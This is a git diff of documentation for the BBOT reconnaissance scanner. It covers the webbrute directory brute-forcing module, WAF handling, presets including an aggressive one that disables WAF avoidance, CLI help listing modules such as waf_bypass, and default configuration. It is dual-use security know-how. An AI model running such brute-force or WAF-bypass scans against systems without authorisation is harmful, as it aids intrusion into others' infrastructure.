+
+### Pre-Scan: `avoid_wafs`
+
+When `avoid_wafs` is enabled (the default), webbrute skips any URL whose host has been tagged as being behind a WAF by BBOT's `cloudcheck` module. This prevents wasting thousands of requests against a host that will block them.
+
+```yaml
+modules:
+  webbrute:
+    avoid_wafs: true  # default
+```
+
+### Baseline: WAF Block Page and 429 Detection
+
+During baseline setup, webbrute checks whether the server's response to random paths contains known WAF block page signatures (detected via YARA rules). If the baseline itself is a WAF block page, the host is skipped immediately. The same check catches 429 (Too Many Requests) responses.
+
+### In-Stream: WAF Page Filtering
+
+During fuzzing, every response is checked against the same WAF YARA rules. Individual responses that match WAF signatures are silently filtered, even if they have a 200 status code. This catches WAFs that start blocking mid-scan after a burst of requests.
+
+### Timeout Tracking
+
+Some WAFs silently drop packets rather than returning error pages. Webbrute tracks connection failures per host across the entire scan. If a host accumulates 50 timeouts, it is blocked for the remainder of the scan, preventing the module from draining its entire wordlist against a dead connection.
+
+## False Positive Prevention
+
+Web brute-forcing is inherently noisy. Servers return custom error pages, dynamic content, and catch-all redirects that make it difficult to distinguish real hits from junk. Webbrute uses several layers of defense to prevent false positives.
+
+### Baseline Filtering (HttpCompare)
+
+Before fuzzing begins, webbrute sends two requests with random paths and uses HttpCompare (a DeepDiff-based response comparison engine) to diff them. Any positions that vary between the two (timestamps, CSRF tokens, request IDs) are marked as dynamic and excluded from future comparisons. During fuzzing, each response is compared against this baseline. Only responses that differ in non-dynamic ways (status code, headers, or body content) are considered potential hits.
+
+This catches a common class of false positives that simpler tools miss: servers that return 200 for all paths with subtly different content (e.g., a per-request CSRF token embedded in a custom 404 page).
+
+### Redirect-to-Root Filtering
+
+3xx responses that redirect to `/` or the base URL are filtered. This is a common catch-all pattern where servers redirect all unknown paths to the homepage.
+
+### Three-Layer Post-Stream Validation
+
+Hits are collected during the response stream but are not emitted immediately. Before anything reaches the rest of the pipeline, three checks run in sequence:
+
+1. **Canary check**: A random word is injected into the wordlist alongside the real words. If the canary word appears in the hits, it means the server is returning unique content for random paths too, and all hits are likely false positives. Everything is discarded.
+
+2. **Mid-scan baseline validation**: After streaming completes, a fresh random URL is sent and compared against the original baseline. If it no longer matches (e.g., a WAF started blocking mid-scan, or the server's behavior changed), the baseline has drifted and the hits are unreliable. Everything is discarded.
+
+3. **Hit cap**: If the number of hits exceeds a threshold scaled to the wordlist size (`4 * sqrt(wordlist_length)`), something has slipped past the other defenses. This catches edge cases where the server returns subtly unique content for real dictionary words but not for random strings. The host is blocked and all hits are discarded before emission.
+
+## Configuration Reference
+
+| Option | Type | Default | Description |
+|--------|------|---------|-------------|
+| `wordlist` | string or list | raft-small-directories | Wordlist URL(s) or path(s). Multiple wordlists are merged with deduplication. |
+| `lines` | int | 5000 | Use only the first N lines from the wordlist. |
+| `max_depth` | int | 0 | Maximum directory depth for recursive fuzzing. 0 = root only. |
+| `extensions` | string or list | (none) | File extensions to append (e.g., `php,asp,jsp`). |
+| `ignore_case` | bool | false | Lowercase all wordlist entries (deduplicates case variants). |
+| `rate` | int | 0 | Max requests per second. 0 = unlimited (subject to global `http_rate_limit`). |
+| `concurrency` | int | 50 | Number of concurrent requests per URL being fuzzed. |
+| `avoid_wafs` | bool | true | Skip URLs behind confirmed WAFs. |
+
+## Presets
+
+BBOT includes two presets for directory brute-forcing:
+
+### `dirbust-light`
+
+Surface-level directory discovery with a smaller wordlist. Good for quick scans.
+
+- Wordlist: raft-small-directories (first 1000 lines)
+- No extensions, no recursion
+- WAF avoidance enabled
+
+```bash
+bbot -t example.com -p dirbust-light
+```
+
+### `dirbust-heavy`
+
+Aggressive recursive brute-forcing with a large extension list. Includes spidering and wayback URL extraction to discover additional directories to fuzz. WAF avoidance is disabled so brute-forcing proceeds even against WAF-protected hosts.
+
+- Wordlist: raft-small-directories (first 5000 lines)
+- Extensions: php, asp, aspx, ashx, asmx, jsp, jspx, cfm, zip, conf, config, xml, json, yml, yaml
+- Recursive to depth 3
+- Includes spider and wayback modules
+- `avoid_wafs` disabled
+
+```bash
+bbot -t example.com -p dirbust-heavy
+```
diff --git a/docs/release_history.md b/docs/release_history.md
index 90349d6c4f..3e4776af4e 100644
--- a/docs/release_history.md
+++ b/docs/release_history.md
@@ -1,5 +1,8 @@
+### 2.8.6 - Jun 16, 2026
+- 2.8.6 is expected to be the last 2.x release. Supported Python versions: 3.10-3.13.
+- [https://github.com/blacklanternsecurity/bbot/pull/3199](https://github.com/blacklanternsecurity/bbot/pull/3199)
+
 ### 2.8.5 - Jun 16, 2026
-- 2.8.5 is expected to be the last 2.x release. Supported Python versions: 3.10-3.13.
 - [https://github.com/blacklanternsecurity/bbot/pull/3185](https://github.com/blacklanternsecurity/bbot/pull/3185)
 
 ### 2.8.4 - Mar 17, 2026
@@ -86,6 +89,3 @@
 
 ### 1.0.5 - Mar 10, 2023
 - [https://github.com/blacklanternsecurity/bbot/pull/352](https://github.com/blacklanternsecurity/bbot/pull/352)
-
-### 1.0.5 - Mar 10, 2023
-- [https://github.com/blacklanternsecurity/bbot/pull/352](https://github.com/blacklanternsecurity/bbot/pull/352)
diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md
index 472ba39957..c9e56f7be4 100644
--- a/docs/scanning/advanced.md
+++ b/docs/scanning/advanced.md
@@ -32,22 +32,25 @@ if __name__ == "__main__":
 
 <!-- BBOT HELP OUTPUT -->
 ```text
-usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]]
+usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]]
                [-b BLACKLIST [BLACKLIST ...]] [--strict-scope]
                [-p [PRESET ...]] [-c [CONFIG ...]] [-lp]
                [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]]
                [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]]
-               [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d]
-               [-s] [--force] [-y] [--fast-mode] [--dry-run]
-               [--current-preset] [--current-preset-full] [-mh MODULE]
-               [-o DIR] [-om MODULE [MODULE ...]] [-lo] [--json] [--brief]
+               [-ef FLAG [FLAG ...]] [-n SCAN_NAME] [-v] [-d] [-S] [--force]
+               [-y] [--fast-mode] [--dry-run] [--current-preset]
+               [--current-preset-full] [-mh MODULE] [-o DIR]
+               [-om MODULE [MODULE ...]] [-eom MODULE [MODULE ...]] [-lo]
+               [--json] [--brief] [--no-color]
                [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn]
-               [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps]
-               [--version] [--proxy HTTP_PROXY]
+               [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps]
+               [--install-all-deps] [--version] [--reset-config]
+               [--reset-secrets] [--proxy HTTP_PROXY]
+               [--no-proxy HOST [HOST ...]]
                [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]]
                [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]]
                [--custom-yara-rules CUSTOM_YARA_RULES]
-               [--user-agent USER_AGENT]
+               [--user-agent USER_AGENT] [--user-agent-suffix SUFFIX]
 
 Bighuge BLS OSINT Tool
 
@@ -56,12 +59,12 @@ options:
 
 Target:
   -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
-                        Targets to seed the scan
-  -w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
-                        What's considered in-scope (by default it's the same as --targets)
+                        Target scope
+  -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...]
+                        Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets)
   -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
                         Don't touch these things
-  --strict-scope        Don't consider subdomains of target/whitelist to be in-scope
+  --strict-scope        Don't consider subdomains of target to be in-scope - exact matches only
 
 Presets:
   -p [PRESET ...], --preset [PRESET ...]
@@ -72,27 +75,26 @@ Presets:
 
 Modules:
   -m MODULE [MODULE ...], --modules MODULE [MODULE ...]
-                        Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,extractous,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan
+                        Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames
   -l, --list-modules    List available modules.
   -lmo, --list-module-options
                         Show all module config options
   -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...]
                         Exclude these modules.
   -f FLAG [FLAG ...], --flags FLAG [FLAG ...]
-                        Enable modules by flag. Choices: active,affiliates,aggressive,baddns,cloud-enum,code-enum,deadly,download,email-enum,iis-shortnames,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web-basic,web-paramminer,web-screenshots,web-thorough
+                        Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,loud,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots
   -lf, --list-flags     List available flags.
   -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...]
                         Only enable modules with these flags (e.g. -rf passive)
   -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...]
-                        Disable modules with these flags. (e.g. -ef aggressive)
-  --allow-deadly        Enable the use of highly aggressive modules
+                        Disable modules with these flags. (e.g. -ef loud)
 
 Scan:
   -n SCAN_NAME, --name SCAN_NAME
                         Name of scan (default: random)
   -v, --verbose         Be more verbose
   -d, --debug           Enable debugging
-  -s, --silent          Be quiet
+  -S, --silent          Be quiet
   --force               Run scan even in the case of condition violations or failed module setups
   -y, --yes             Skip scan confirmation prompt
   --fast-mode           Scan only the provided targets as fast as possible, with no extra discovery
@@ -107,11 +109,14 @@ Output:
   -o DIR, --output-dir DIR
                         Directory to output scan results
   -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...]
-                        Output module(s). Choices: asset_inventory,csv,discord,emails,http,json,mysql,neo4j,nmap_xml,postgres,python,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket
+                        Add output module(s). Choices: asset_inventory,csv,discord,elastic,emails,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,webhook,websocket,zeromq
+  -eom MODULE [MODULE ...], --exclude-output-modules MODULE [MODULE ...]
+                        Exclude output module(s)
   -lo, --list-output-modules
                         List available output modules
   --json, -j            Output scan data in JSON format
   --brief, -br          Output only the data itself
+  --no-color            Disable colored terminal output
   --event-types EVENT_TYPES [EVENT_TYPES ...]
                         Choose which event types to display
   --exclude-cdn, -ec    Filter out unwanted open ports on CDNs/WAFs (80,443 only)
@@ -127,7 +132,11 @@ Module dependencies:
 
 Misc:
   --version             show BBOT version and exit
+  --reset-config        Regenerate bbot.yml from current defaults (overwrites; backs up to .bak)
+  --reset-secrets       Regenerate secrets.yml from current defaults (overwrites; backs up to .bak)
   --proxy HTTP_PROXY    Use this proxy for all HTTP requests
+  --no-proxy HOST [HOST ...]
+                        Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8)
   -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
                         List of custom headers as key value pairs (header=value).
   -C CUSTOM_COOKIES [CUSTOM_COOKIES ...], --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...]
@@ -136,6 +145,8 @@ Misc:
                         Add custom yara rules to excavate
   --user-agent USER_AGENT, -ua USER_AGENT
                         Set the user-agent for all HTTP requests
+  --user-agent-suffix SUFFIX, -uas SUFFIX
+                        Suffix to append to the user-agent
 
 EXAMPLES
 
@@ -149,7 +160,7 @@ EXAMPLES
         bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o .
 
     Subdomains + basic web scan:
-        bbot -t evilcorp.com -p subdomain-enum web-basic
+        bbot -t evilcorp.com -p subdomain-enum web
 
     Web spider:
         bbot -t www.evilcorp.com -p spider -c web.spider_distance=2 web.spider_depth=2
@@ -174,3 +185,5 @@ EXAMPLES
 
 ```
 <!-- END BBOT HELP OUTPUT -->
+
+[Next Up: Configuration -->](./configuration.md){ .md-button .md-button--primary }
diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md
index 9f7eceb6b7..6c42a0ab39 100644
--- a/docs/scanning/configuration.md
+++ b/docs/scanning/configuration.md
@@ -2,7 +2,7 @@
 
 Normally, [Presets](presets.md) are used to configure a scan. However, there may be cases where you want to change BBOT's global defaults so a certain option is always set, even if it's not specified in a preset.
 
-BBOT has a YAML config at `~/.config/bbot.yml`. This is the first config that BBOT loads, so it's a good place to put default settings like `http_proxy`, `max_threads`, or `http_user_agent`. You can also put any module settings here, including **API keys**.
+BBOT has a YAML config at `~/.config/bbot/bbot.yml`. This is the first config that BBOT loads, so it's a good place to put default settings like `http_proxy`, `max_threads`, or `http_user_agent`. You can also put any module settings here, including **API keys**.
 
 For a list of all possible config options, see:
 
@@ -30,9 +30,9 @@ You can specify config options either via the command line or the config. For ex
 bbot -t evilcorp.com -c http_proxy=http://127.0.0.1:8080
 ```
 
-Or, in `~/.config/bbot/config.yml`:
+Or, in `~/.config/bbot/bbot.yml`:
 
-```yaml title="~/.bbot/config/bbot.yml"
+```yaml title="~/.config/bbot/bbot.yml"
 http_proxy: http://127.0.0.1:8080
 ```
 
@@ -41,7 +41,7 @@ These two are equivalent.
 Config options specified via the command-line take precedence over all others. You can give BBOT a custom config file with `-c myconf.yml`, or individual arguments like this: `-c modules.shodan_dns.api_key=deadbeef`. To display the full and current BBOT config, including any command-line arguments, use `bbot -c`.
 
 Note that placing the following in `bbot.yml`:
-```yaml title="~/.bbot/config/bbot.yml"
+```yaml title="~/.config/bbot/bbot.yml"
 modules:
   shodan_dns:
     api_key: deadbeef
@@ -59,12 +59,27 @@ Below is a full list of the config options supported, along with their defaults.
 ```yaml title="defaults.yml"
 ### BASIC OPTIONS ###
 
+# NOTE: If used in a preset, these options must be nested underneath "config:" like so:
+# config:
+#   home: ~/.bbot
+#   keep_scans: 20
+#   scope:
+#     strict: true
+#   dns:
+#     minimal: true
+
 # BBOT working directory
 home: ~/.bbot
 # How many scan results to keep before cleaning up the older ones
 keep_scans: 20
 # Interval for displaying status messages
 status_frequency: 15
+# When system memory exceeds this percentage, ingress is throttled with a per-event sleep
+# that scales linearly from 0s at the threshold up to 5s at threshold+5 (capped at 95%).
+# Last-ditch effort to give the pipeline a chance to drain before OOM.
+max_mem_percent: 90
+# Redact secrets (API keys, tokens, etc.) in the saved preset.yml
+redact_secrets: true
 # Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event
 file_blobs: false
 # Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event
@@ -74,7 +89,7 @@ folder_blobs: false
 
 scope:
   # strict scope means only exact DNS names are considered in-scope
-  # subdomains are not included unless they are explicitly provided in the target list
+  # their subdomains are not included unless explicitly added to the target
   strict: false
   # Filter by scope distance which events are displayed in the output
   # 0 == show only in-scope events (affiliates are always shown)
@@ -87,12 +102,14 @@ scope:
 ### DNS ###
 
 dns:
-  # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead)
+  # Completely disable DNS resolution (careful if you have IP targets/blacklists, consider using minimal=true instead)
   disable: false
   # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records
   minimal: false
-  # How many instances of the dns module to run concurrently
-  threads: 25
+  # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf)
+  threads: 10
+  # How many DNS records to cache
+  cache_size: 100000
   # How many concurrent DNS resolvers to use when brute-forcing
   # (under the hood this is passed through directly to massdns -s)
   brute_threads: 1000
@@ -117,8 +134,10 @@ dns:
   wildcard_tests: 10
   # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs
   # This helps prevent faulty DNS servers from hanging up the scan
-  abort_threshold: 50
-  # Don't show PTR records containing IP addresses
+  abort_threshold: 10
+  # Treat hostnames discovered via PTR records as affiliates instead of in-scope
+  # This prevents rDNS results (e.g. 1-2-3-4.ptr.example.com) from triggering
+  # subdomain enumeration against unrelated domains when scanning IP ranges
   filter_ptrs: true
   # Enable/disable debug messages for DNS queries
   debug: false
@@ -134,18 +153,23 @@ dns:
 web:
   # HTTP proxy
   http_proxy:
+  # Hosts/CIDRs to exclude from HTTP proxy (NO_PROXY equivalent)
+  # Examples: ["localhost", "*.internal.corp", "10.0.0.0/8", "elastic.mycompany.com"]
+  http_proxy_exclude: []
   # Web user-agent
   user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97
+  # Suffix to append to user-agent (e.g. for tracking or identification)
+  user_agent_suffix:
   # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed)
   spider_distance: 0
   # Set the maximum directory depth for the web spider
   spider_depth: 1
   # Set the maximum number of links that can be followed per page
   spider_links_per_page: 25
-  # HTTP timeout (for Python requests; API calls, etc.)
+  # HTTP timeout for target-directed traffic (probes, crawls, etc.)
   http_timeout: 10
-  # HTTP timeout (for httpx)
-  httpx_timeout: 5
+  # HTTP timeout for non-target traffic (APIs, wordlist downloads, etc.)
+  http_timeout_infrastructure: 10
   # Custom HTTP headers (e.g. cookies, etc.)
   # in the format { "Header-Key": "header_value" }
   # These are attached to all in-scope HTTP requests
@@ -157,8 +181,6 @@ web:
   api_retries: 2
   # HTTP retries - try again if the raw connection fails
   http_retries: 1
-  # HTTP retries (for httpx)
-  httpx_retries: 1
   # Default sleep interval when rate limited by 429 (and retry-after isn't provided)
   429_sleep_interval: 30
   # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided)
@@ -167,8 +189,23 @@ web:
   debug: false
   # Maximum number of HTTP redirects to follow
   http_max_redirects: 5
-  # Whether to verify SSL certificates
-  ssl_verify: false
+  # Whether to verify SSL certificates for target-directed traffic (probes, crawls, etc.)
+  ssl_verify_target: false
+  # Whether to verify SSL certificates for non-target traffic (APIs, wordlist downloads, etc.)
+  ssl_verify_infrastructure: true
+  # Maximum HTTP requests per second (0 = unlimited)
+  # Applies globally across all blasthttp consumers (http probing, web brute, etc.)
+  http_rate_limit: 0
+  # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap.
+  # Bodies are written to ${scan_home}/temp/bodies/{uuid}.body.zst and served
+  # from a bounded LRU cache; only cache misses touch disk.
+  body_spill:
+    # Master switch
+    enabled: true
+    # In-memory LRU cache budget for hot bodies, in MB
+    cache_mb: 512
+    # zstd level-1 compression on the way to disk
+    compress: true
 
 ### ENGINE ###
 
@@ -177,8 +214,6 @@ engine:
 
 # Tool dependencies
 deps:
-  ffuf:
-    version: "2.1.0"
   # How to handle installation of module dependencies
   # Choices are:
   #  - abort_on_failure (default) - if a module dependency fails to install, abort the scan
@@ -208,6 +243,8 @@ aggregate: True
 dnsresolve: True
 # Cloud provider tagging
 cloudcheck: True
+# Python API event bridge
+python: True
 
 # Strip querystring from URLs by default
 url_querystring_remove: True
@@ -305,20 +342,61 @@ parameter_blacklist:
   - __SCROLLPOSITIONY
   - __SCROLLPOSITIONX
   - ASP.NET_SessionId
+  - .AspNetCore.Session
   - PHPSESSID
+  - sessionid
+  - csrftoken
+  - XSRF-TOKEN
   - __cf_bm
+  - _cfuvid
+  - cf_clearance
+  - _abck
+  - bm_sz
+  - bm_sv
+  - ak_bmsc
   - f5_cspm
+  # CSRF / Anti-Forgery tokens
+  - authenticity_token
+  - csrfmiddlewaretoken
+  - __RequestVerificationToken
+  - antiforgerytoken
+  - __csrf_magic
+  - _wpnonce
+  # ASP.NET session/identity cookies
+  - .ASPXANONYMOUS
+  - .ASPXAUTH
+  # PKCE (Proof Key for Code Exchange)
+  - code_verifier
+  - code_challenge
+  # Analytics
+  - _ga
+  - _gid
+  - _gat
+  - _gcl_au
+  - _fbp
+  - _fbc
+  - __utma
+  - __utmb
+  - __utmc
+  - __utmz
+  - _hjid
 
 parameter_blacklist_prefixes:
   - TS01
   - BIGipServer
+  - f5avr
   - incap_
   - visid_incap_
+  - nlbi_
   - AWSALB
   - utm_
   - ApplicationGatewayAffinity
   - JSESSIONID
   - ARRAffinity
+  - _hjSession
+  - _gat_
+  - intercom-
+  - OAMRequestContext_
 
 # Don't output these types of events (they are still distributed to modules)
 omit_event_types:
@@ -336,6 +414,10 @@ interactsh_server: null
 interactsh_token: null
 interactsh_disable: false
 
+# API key for bbot.io services (currently used by ASN lookups via the asndb library)
+# Can also be set via the BBOT_IO_API_KEY environment variable, which takes precedence.
+bbot_io_api_key: null
+
 ```
 <!-- END BBOT DEFAULT CONFIG -->
 
@@ -357,293 +439,337 @@ In addition to the stated options for each module, the following universal optio
 ### Module Options
 
 <!-- BBOT MODULE OPTIONS -->
-| Config Option                                       | Type     | Description                                                                                                                                                                                                                                                                                                                    | Default                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-|-----------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| modules.baddns.custom_nameservers                   | list     | Force BadDNS to use a list of custom nameservers                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.baddns.enabled_submodules                   | list     | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only                                                                                                                                                                                                                                            | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.baddns.only_high_confidence                 | bool     | Do not emit low-confidence or generic detections                                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.baddns_direct.custom_nameservers            | list     | Force BadDNS to use a list of custom nameservers                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.baddns_zone.custom_nameservers              | list     | Force BadDNS to use a list of custom nameservers                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.baddns_zone.only_high_confidence            | bool     | Do not emit low-confidence or generic detections                                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.badsecrets.custom_secrets                   | NoneType | Include custom secrets loaded from a local file                                                                                                                                                                                                                                                                                | None                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.bucket_amazon.permutations                  | bool     | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.bucket_digitalocean.permutations            | bool     | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.bucket_firebase.permutations                | bool     | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.bucket_google.permutations                  | bool     | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.bucket_microsoft.permutations               | bool     | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.dnsbrute.max_depth                          | int      | How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com                                                                                                                                                                                                                                                           | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.dnsbrute.wordlist                           | str      | Subdomain wordlist URL                                                                                                                                                                                                                                                                                                         | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt                                                                                                                                                                                                                                                                                                                                          |
-| modules.dnsbrute_mutations.max_mutations            | int      | Maximum number of target-specific mutations to try per subdomain                                                                                                                                                                                                                                                               | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.dnscommonsrv.max_depth                      | int      | The maximum subdomain depth to brute-force SRV records                                                                                                                                                                                                                                                                         | 2                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.ffuf.extensions                             | str      | Optionally include a list of extensions to extend the keyword with (comma separated)                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.ffuf.ignore_case                            | bool     | Only put lowercase words into the wordlist                                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.ffuf.lines                                  | int      | take only the first N lines from the wordlist when finding directories                                                                                                                                                                                                                                                         | 5000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.ffuf.max_depth                              | int      | the maximum directory depth to attempt to solve                                                                                                                                                                                                                                                                                | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.ffuf.rate                                   | int      | Rate of requests per second (default: 0)                                                                                                                                                                                                                                                                                       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.ffuf.wordlist                               | str      | Specify wordlist to use when finding directories                                                                                                                                                                                                                                                                               | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt                                                                                                                                                                                                                                                                                                                                       |
-| modules.ffuf_shortnames.extensions                  | str      | Optionally include a list of extensions to extend the keyword with (comma separated)                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.ffuf_shortnames.find_common_prefixes        | bool     | Attempt to automatically detect common prefixes and make additional ffuf runs against them                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.ffuf_shortnames.find_delimiters             | bool     | Attempt to detect common delimiters and make additional ffuf runs against them                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.ffuf_shortnames.find_subwords               | bool     | Attempt to detect subwords and make additional ffuf runs against them                                                                                                                                                                                                                                                          | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.ffuf_shortnames.ignore_redirects            | bool     | Explicitly ignore redirects (301,302)                                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.ffuf_shortnames.max_depth                   | int      | the maximum directory depth to attempt to solve                                                                                                                                                                                                                                                                                | 1                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.ffuf_shortnames.max_predictions             | int      | The maximum number of predictions to generate per shortname prefix                                                                                                                                                                                                                                                             | 250                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.ffuf_shortnames.rate                        | int      | Rate of requests per second (default: 0)                                                                                                                                                                                                                                                                                       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.ffuf_shortnames.version                     | str      | ffuf version                                                                                                                                                                                                                                                                                                                   | 2.0.0                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.ffuf_shortnames.wordlist_extensions         | str      | Specify wordlist to use when making extension lists                                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
